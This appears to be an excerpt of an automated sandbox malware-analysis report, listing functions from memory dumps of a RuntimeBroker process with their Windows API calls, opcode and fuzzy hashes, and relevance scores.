GetThreadContext.KERNEL32 ref: 1D3A5CD5

Part of subcall function 1D3A5960: GetCurrentThreadId.KERNEL32 ref: 1D3A5964

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: 542bbd5e2329904df0480a0ec93d9913fae2943e0ea9dac949bdf9516940e5e4
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: 14C1977A619B88C2DB61CB06E49035AB7B0F7C8B84F114216EACD87B68DF3CD551CB41

Function 1D3A50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 1D3A5156

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: 14b29bfc3c3231c32196e47915187ee3dee16a96524211af10c1d526139fcafb
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: 9FF1D436619B8486DB50CB56F49036ABBA0F3C4B94F105126EB8E87BA8DF7CD484CF01

Function 1D3A1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 1D3A126E
HeapAlloc.KERNEL32 ref: 1D3A127D
GetProcessHeap.KERNEL32 ref: 1D3A1297
HeapAlloc.KERNEL32 ref: 1D3A12A8

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: c7b0d7b4e65e150846e46a28cdf479c2d04166a2b9ed3272f310b0e97a34ba1d
Instruction ID: f678acc5e3305d694b822fc31b54e8dd0fbf6c3bc6502d0b40c561ae88c7c0da
Opcode Fuzzy Hash: c7b0d7b4e65e150846e46a28cdf479c2d04166a2b9ed3272f310b0e97a34ba1d
Instruction Fuzzy Hash: 44E09A35A01A0486EB088F62D80838A36E1FB8DF06F08D026C9190B362DF7D86D9DB91

Function 1D3A39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 1D3A3A66
VirtualAlloc.KERNEL32 ref: 1D3A3AA0

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: ee2e9deef31d034f4f8596cb5f0163ec18f53190f472d1144be144dbfc0af180
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 24215632729B9481DB61DB55E05135BA7A4F788BC4F104625E7CE87B68DFBCC280CB02

Function 1D3A328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 1D3A32AE
PathFindFileNameW.SHLWAPI ref: 1D3A32BD

Part of subcall function 1D3A3844: StrCmpNIW.SHLWAPI ref: 1D3A385C

Part of subcall function 1D3A3790: GetModuleHandleW.KERNEL32 ref: 1D3A379E
Part of subcall function 1D3A3790: GetCurrentProcess.KERNEL32 ref: 1D3A37CC
Part of subcall function 1D3A3790: VirtualProtectEx.KERNEL32 ref: 1D3A37EE
Part of subcall function 1D3A3790: GetCurrentProcess.KERNEL32 ref: 1D3A3809
Part of subcall function 1D3A3790: VirtualProtectEx.KERNEL32 ref: 1D3A382A

CreateThread.KERNEL32 ref: 1D3A330B

Part of subcall function 1D3A1D14: GetCurrentThread.KERNEL32 ref: 1D3A1D1F

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 51300940efb894024ba1cb8a3cc79581a1819f4dd20a8e0e6b62d877ad85307f
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A4017175B2D64182EB549BE1F8893A92258FB54745F40822BDA6AC65B0EFBCC248C613

Function 1D3A4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 1D3A4DF4
VirtualProtect.KERNEL32 ref: 1D3A4E37
FlushInstructionCache.KERNEL32 ref: 1D3A4E4C

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: bd1a858f3626f21c5c5efd006359b169a181d074afad8a8bb4c14f39820f826e
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: F7F0FE7A318B04C0C721DB05E49075AABA0F3C8BD4F188126EB8E87B38CE3DC691CB41

Function 00007FFD9BC6EB09 Relevance: 1.8, APIs: 1, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3105800354.00007FFD9BC60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bc60000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a2dabb5cf8c0ec968ba64674ecf5489e4e61bbcbd7dcc8cfc425c3903ce320
Instruction ID: 66c6a22c4866627ae450cd19b73fb4db5230a8db7c5c33d8c7a419297091021b
Opcode Fuzzy Hash: f1a2dabb5cf8c0ec968ba64674ecf5489e4e61bbcbd7dcc8cfc425c3903ce320
Instruction Fuzzy Hash: D3812731B1DA4E4FDB58AB6C98665F9B7E0EF69310B1141BFD04AC3296DE24AC42C7C1

Function 00007FFD9B9F3525 Relevance: 1.6, APIs: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32 ref: 00007FFD9B9F3607

Memory Dump Source

Source File: 0000000A.00000002.3101033094.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b9f0000_RuntimeBroker.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e1d1ff6ad7a7f2006daf096de3afb1f7ee1104e8e6a5cecba33fd370df9d9cf6
Instruction ID: b9469c217fbd42eb5f880f2a080515aa51abb77793eb669a4c46e6cefb7df93c
Opcode Fuzzy Hash: e1d1ff6ad7a7f2006daf096de3afb1f7ee1104e8e6a5cecba33fd370df9d9cf6
Instruction Fuzzy Hash: DF412B31A0DB8C5FDB19DB6888556E97FF0FF56320F0542AFD049C75A2CA286805C791

Function 00007FFD9B9F3569 Relevance: 1.6, APIs: 1, Instructions: 109fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32 ref: 00007FFD9B9F3607

Memory Dump Source

Source File: 0000000A.00000002.3101033094.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b9f0000_RuntimeBroker.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: a4f0a9ea65c42d908a34696995b48d8b3bd01e1ae73d09027ebd8dd57f5b21e8
Instruction ID: b7c34e9629e395c50c1f52313966346ed1aecab662a7e85922f052e5113393cd
Opcode Fuzzy Hash: a4f0a9ea65c42d908a34696995b48d8b3bd01e1ae73d09027ebd8dd57f5b21e8
Instruction Fuzzy Hash: 4B31C131A0DB5C9FDB19DB588859AE9BBF0FF66320F04426FD049D3292CB75A8058B91

Function 1C75273C Relevance: 1.4, APIs: 1, Instructions: 187memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 1C7527DB

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: f69b4d1229c26b285542729a083e5c7002004e6826b76bc86c74f0f9f9a7ad2e
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 0B616CB7B026D0CBCB08CF66D44462DB762FB54BA4B588125EF5D27748DB78E862C720

Function 00007FFD9BD852F1 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9BD852F1

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 31ce94885ad4e66932f8c7c0e8c55ce26c3a7f1b93d652e79db18e2d15ec442d
Instruction ID: af3619ad8d8aa074507cb97961d5950082adc7b77816b00a11630cc343ea35d1
Opcode Fuzzy Hash: 31ce94885ad4e66932f8c7c0e8c55ce26c3a7f1b93d652e79db18e2d15ec442d
Instruction Fuzzy Hash: E921FB42B1ED4F0BF7B9A66C04B517456C2DF98156B5E11BAD40FC32E7DD29ED024300

Function 1D3AD6CC Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 1D3AD721

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 9655889cf553910685c1d48f5f7b9f3cccd3e5d43ce14746dc0d9623a956201f
Instruction ID: bf66960966cae514170c59eb1b115fa4ab430702c1f9b483007fdb523bbae967
Opcode Fuzzy Hash: 9655889cf553910685c1d48f5f7b9f3cccd3e5d43ce14746dc0d9623a956201f
Instruction Fuzzy Hash: B4F0BE7C30120042EE0D4F6ABC4A3A55288EB89B80F8995314E09CB761FE2DC082C623

Function 00007FFD9BD8207D Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc3287afefcc7b3d809eae6a838dc018bb9bc95b518a9b1a8d83397f43b2004
Instruction ID: 42e95a25157a2416726a2888d10f2dba85db1364de5edf005a200f59030fb285
Opcode Fuzzy Hash: cfc3287afefcc7b3d809eae6a838dc018bb9bc95b518a9b1a8d83397f43b2004
Instruction Fuzzy Hash: CE81C210B2AE9A1BE7A597EC84B577966D5EF99701F4A00B9D10DC32E3CD2CED024381

Function 00007FFD9BD80000 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4069a8e01c0856d0ba6d4d6dda35d75035f377f10159d8c495fdbc06910d6292
Instruction ID: 9aa3188f327cccc4e145ddb9f107b39a4c28da84b3d41bee598227d2e02b703b
Opcode Fuzzy Hash: 4069a8e01c0856d0ba6d4d6dda35d75035f377f10159d8c495fdbc06910d6292
Instruction Fuzzy Hash: CD41243160EB894FD75A97689C69A703BE0EF57211F0A01FBD48ECB1E3DD28AC058391

Function 00007FFD9B8DED84 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3100054205.00007FFD9B8DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8dd000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a25ff402178737f064e3e7c88e21300192646703a84cd8b5d3bdd947ec48f0b8
Instruction ID: ecbcb692040ee7360137df27d533c4e28bef2e24bf09701b516dbfbf78aad029
Opcode Fuzzy Hash: a25ff402178737f064e3e7c88e21300192646703a84cd8b5d3bdd947ec48f0b8
Instruction Fuzzy Hash: CD41253050EBC44FD766CB2CD8559523FF0EF56320B0A06DFD088CB1A3DA25A846C7A2

Function 00007FFD9BD8014A Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6520f5fd91e5188453e15b9ad040f02eed3c5e11070b7d7a3ccb2bae7174153b
Instruction ID: 21b64d6b0ef313fb158acd36c27a9d479ac9bd13bbc5ba3275ecefac67755e94
Opcode Fuzzy Hash: 6520f5fd91e5188453e15b9ad040f02eed3c5e11070b7d7a3ccb2bae7174153b
Instruction Fuzzy Hash: B7310722B1EE890FE769DB5C48766B477C1EB65721F0901BED49FC32E2DD15AC418382

Function 00007FFD9BD80676 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f592dc56275dee2a0f0fe4bc32e3881fdfd6204e7d6938a5171475132b74e2
Instruction ID: 237fe29f71ad7c1861600ae438d8a934f5c7ddab96a08865e7cc47e881a6feb4
Opcode Fuzzy Hash: e6f592dc56275dee2a0f0fe4bc32e3881fdfd6204e7d6938a5171475132b74e2
Instruction Fuzzy Hash: E6312A62B1DE490FE7689B5C58366B477C1EBA9711F4901BDD49EC32E3DD299C018382

Function 00007FFD9BD82AAF Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 457cb96c11d7c87bc14097bf50abe54d43fd6bf83d3567fefeaac2e82b47852b
Instruction ID: 50b3300dce7f01e4d581bec0f149161c46d51c665e87b7bb90e783ab52737f0f
Opcode Fuzzy Hash: 457cb96c11d7c87bc14097bf50abe54d43fd6bf83d3567fefeaac2e82b47852b
Instruction Fuzzy Hash: 6E21D712B1AD0E0BE7B9A6AC14B527856C2DFD929175A11BAD40FC32FAED39ED424340

Function 00007FFD9BD835BA Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a26f1819199a7e5445f6b7cfe31c55cb8c648a0fc68f7ba0492dc737651fdb8
Instruction ID: 880be59a351d15db97f7ad4b6b1b65d262e19be1b28160ad98da5fb9efab37dc
Opcode Fuzzy Hash: 4a26f1819199a7e5445f6b7cfe31c55cb8c648a0fc68f7ba0492dc737651fdb8
Instruction Fuzzy Hash: 5921E612B1AD4F0BF7BDA2AC047667856C2DFD426179A11BAE40FC33E6ED29ED424341

Function 00007FFD9BD83D9F Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e9c8b9450f720334b7fbf4e26bfdfb76efcdee73c7ca5ea8527ff0feef871e
Instruction ID: 5fbc1f8ef01e6a68df47382cfedf93de41fba35ff2e341700db44c13b6ca8840
Opcode Fuzzy Hash: 28e9c8b9450f720334b7fbf4e26bfdfb76efcdee73c7ca5ea8527ff0feef871e
Instruction Fuzzy Hash: 7621D112B1ED4F0BE7BAA66C08B517456C2EF9826175E11BAE40FC33E6EC29ED024301

Function 00007FFD9BD83293 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50ab919ce336b14dcd17f6e34d1a5e1075e45d52c0f5b23ff8e3d486058c339b
Instruction ID: 17412e7d9f461fd674b8389affd085a2a1380fc8c077cfbe41964da2df0dd653
Opcode Fuzzy Hash: 50ab919ce336b14dcd17f6e34d1a5e1075e45d52c0f5b23ff8e3d486058c339b
Instruction Fuzzy Hash: 8F21D811B1AD4F0BF7B9E2AC047167856C2DFD8661B5E11BAE40FC32E6ED29ED424340

Function 00007FFD9BD85090 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd77442eb062c391982010b9619dd0aca7667a0c9a8eaebe6caea96ef263fd1d
Instruction ID: 9cded2150f48911574c0377634a32b4291a9a832a4ed03846852fa6d8e013432
Opcode Fuzzy Hash: dd77442eb062c391982010b9619dd0aca7667a0c9a8eaebe6caea96ef263fd1d
Instruction Fuzzy Hash: 9421F811B1AD4F0BE7B9A26C04B167562D2EFD8255B5E11BAD00FC73E6ED2CED024341

Function 00007FFD9BD843EE Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 646ad4677891fd7f1cfe2a356e483f80783ce69db9dfce54cd5803abc6fbc8f7
Instruction ID: e3636aa3022177424e8fb95697a7c12096e5ab814ec393796052bc86aaa93624
Opcode Fuzzy Hash: 646ad4677891fd7f1cfe2a356e483f80783ce69db9dfce54cd5803abc6fbc8f7
Instruction Fuzzy Hash: 9521D012B1AE4F0BE7B9A6AC04B553456C2DFD8652B5A11BE940FC33EAED69ED020341

Function 00007FFD9BD839C2 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc0b718ded54f9f6ee3755575db0791e61b2f8235498a32d4c5f1c76b1daf8f8
Instruction ID: 7d9d8dc48128b39ecd4d5224df342e7bc8eb5fe6ed0515bfa2ebf47ca5dd1c79
Opcode Fuzzy Hash: fc0b718ded54f9f6ee3755575db0791e61b2f8235498a32d4c5f1c76b1daf8f8
Instruction Fuzzy Hash: BA21D611B1AE0E0BE7B9A6AC04B423856C2DFD816175E11BBD40FC33EADD29ED424340

Function 00007FFD9BD8292E Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90a73e19d94975d3b3194a64eff6c1140f60d7de4cb0236f72fe99c4a05a41e4
Instruction ID: 81cf78feb3516d9e1f123e7ce6f82489c7426392bc9213d21d6aeadd7af602e7
Opcode Fuzzy Hash: 90a73e19d94975d3b3194a64eff6c1140f60d7de4cb0236f72fe99c4a05a41e4
Instruction Fuzzy Hash: 9521A411B1AD0E0BE7B9A6AC047523856C2EFD965175E11BAD40FC33EAED29ED024341

Function 00007FFD9BD8555F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9528a60e2ee9e7981b80508d201d580bf594b1cb1f7ec9f344dfb038c46cceb6
Instruction ID: e74abaa2d6f095fe52f9f1e2176dbcbf5e90d351023ff23ca2d3d63ae0722304
Opcode Fuzzy Hash: 9528a60e2ee9e7981b80508d201d580bf594b1cb1f7ec9f344dfb038c46cceb6
Instruction Fuzzy Hash: 6121C812B1AD0F0BE7B9A66C04B563966D3EFD825179A11FAD40FC33E6DD29ED024341

Function 00007FFD9BD83762 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c7275526d31e07379587d4c92e61cd9fb8d4d0a8beb5b34b422a000fd51adc4
Instruction ID: 3d7aa6b1a199a8669d156812cd2eba06a1651e38f92c7d45d3f39d13eda7b4ed
Opcode Fuzzy Hash: 9c7275526d31e07379587d4c92e61cd9fb8d4d0a8beb5b34b422a000fd51adc4
Instruction Fuzzy Hash: F221F851B1AD4E0BE7B9A66C04B113966C2DFD826175E11BAD40FC33E7ED29ED024341

Function 00007FFD9BD84E48 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8b5f0899d22dcd6851132df4430662dd9ea98cc929a96fe9e2222b3726fea24
Instruction ID: d85f102b61d680c796be4555245a842d6b763ebb194ffc187792d9161e5a7172
Opcode Fuzzy Hash: b8b5f0899d22dcd6851132df4430662dd9ea98cc929a96fe9e2222b3726fea24
Instruction Fuzzy Hash: DE21C811B1AD0F0BE7BAA66C04B523866C2DF98151B5E11BD941FC33EAED29ED024341

Function 00007FFD9BD83CF1 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5d415bd9ef031f9421428fe818d4af42b0efdc89201de6dccf2692b9266a6b8
Instruction ID: 2ea8730f7d8ffdf31f0f31ec6beb2e6857e0d108415803acc378b7a8a8851cab
Opcode Fuzzy Hash: b5d415bd9ef031f9421428fe818d4af42b0efdc89201de6dccf2692b9266a6b8
Instruction Fuzzy Hash: C921C821B1AE4F0BE7BAA66C047527466C3DFD852175A11BAD40FC33EADD29ED424341

Function 00007FFD9BD826DA Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfec09fc908e1c492dc0e93ca2b787fa6ad6809d567c29773867f56649ba2059
Instruction ID: c036190a8aeda17bb4ccc75155ccb41051aace6d372db2dcb61aa115dafced79
Opcode Fuzzy Hash: bfec09fc908e1c492dc0e93ca2b787fa6ad6809d567c29773867f56649ba2059
Instruction Fuzzy Hash: 3321D712B1AE4E0BE3B9A6AC087123951C3DFD8221B5E11BAD40FC33E6DC28ED424341

Function 00007FFD9BD83B82 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ba0656381f2d3312a87a9dbda99ad70fca6ec6693b2a5c093b119b1fb87d9b2
Instruction ID: 1577a45da3fe37c2dee4a18ccce6dbdd9e027c9ffed257285b7c7bab948f588b
Opcode Fuzzy Hash: 4ba0656381f2d3312a87a9dbda99ad70fca6ec6693b2a5c093b119b1fb87d9b2
Instruction Fuzzy Hash: 5211B66271ED4F0BE7BAA66C44B117466C2DF9852175F11BAD44FC32E6ED3AED024301

Function 00007FFD9BD8597E Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

